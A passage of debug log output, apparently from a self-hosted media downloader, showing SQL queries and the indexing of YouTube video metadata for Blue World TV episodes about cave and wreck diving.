"media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:51.944 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119021] 19:01:51.944 [debug] Current batch of media processed. Will check again in 1000ms 19:01:52.945 [debug] Current batch of media processed. Will check again in 1000ms 19:01:53.946 [debug] Current batch of media processed. Will check again in 1000ms 19:01:54.947 [debug] Current batch of media processed. Will check again in 1000ms 19:01:55.248 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:55.948 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "duration" => 1245, "filename" => "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", "id" => "Fr8gGoyL7gs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Fr8gGoyL7gs", "playlist_index" => 6, "timestamp" => 1767452425, "title" => "Cave Diving for SCIENCE in Mexico!", "upload_date" => "20260103"} 19:01:55.948 [debug] QUERY OK source="sources" db=0.1ms idle=726.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:01:55.949 [debug] QUERY OK source="sources" db=0.2ms idle=727.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:55.950 [debug] QUERY OK source="media_items" db=0.8ms idle=727.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-03 15:00:25Z], 34] 19:01:55.951 [debug] QUERY OK source="media_items" db=0.9ms idle=702.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "71665b6e-79aa-4d63-8e1c-1eec1735ca50", "Fr8gGoyL7gs", false, "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, [], 1245, false, 6, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, false, 98, ~U[2026-01-03 15:00:25Z], ~U[2026-06-02 23:01:55Z], ~U[2026-06-02 23:01:55Z], "Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "Fr8gGoyL7gs", "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, 1245, false, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, ~U[2026-01-03 15:00:25Z]] 19:01:55.952 [debug] QUERY OK source="sources" db=0.1ms idle=45.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:55.952 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:55.953 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119024] 19:01:55.953 [debug] Current batch of media processed. Will check again in 1000ms 19:01:56.953 [debug] Current batch of media processed. Will check again in 1000ms 19:01:57.955 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "duration" => 1557, "filename" => "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", "id" => "LKKh2j6XvUY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LKKh2j6XvUY", "playlist_index" => 7, "timestamp" => 1765638011, "title" => "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "upload_date" => "20251213"} 19:01:57.956 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=734.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:01:57.958 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=735.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:57.960 [debug] QUERY OK source="media_items" db=1.3ms idle=737.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-13 15:00:11Z], 34] 19:01:57.962 [debug] QUERY OK source="media_items" db=1.1ms idle=739.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "580747e1-f841-4e7f-a34c-d2867260e740", "LKKh2j6XvUY", false, "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, [], 1557, false, 7, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, false, 98, ~U[2025-12-13 15:00:11Z], ~U[2026-06-02 23:01:57Z], ~U[2026-06-02 23:01:57Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "LKKh2j6XvUY", "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, 1557, false, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, ~U[2025-12-13 15:00:11Z]] 19:01:57.962 [debug] QUERY OK source="sources" db=0.1ms idle=52.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:57.962 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:57.963 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119026] 19:01:57.963 [debug] Current batch of media processed. Will check again in 1000ms 19:01:58.964 [debug] Current batch of media processed. Will check again in 1000ms 19:01:59.965 [debug] Current batch of media processed. Will check again in 1000ms 19:02:00.918 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:00.967 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras 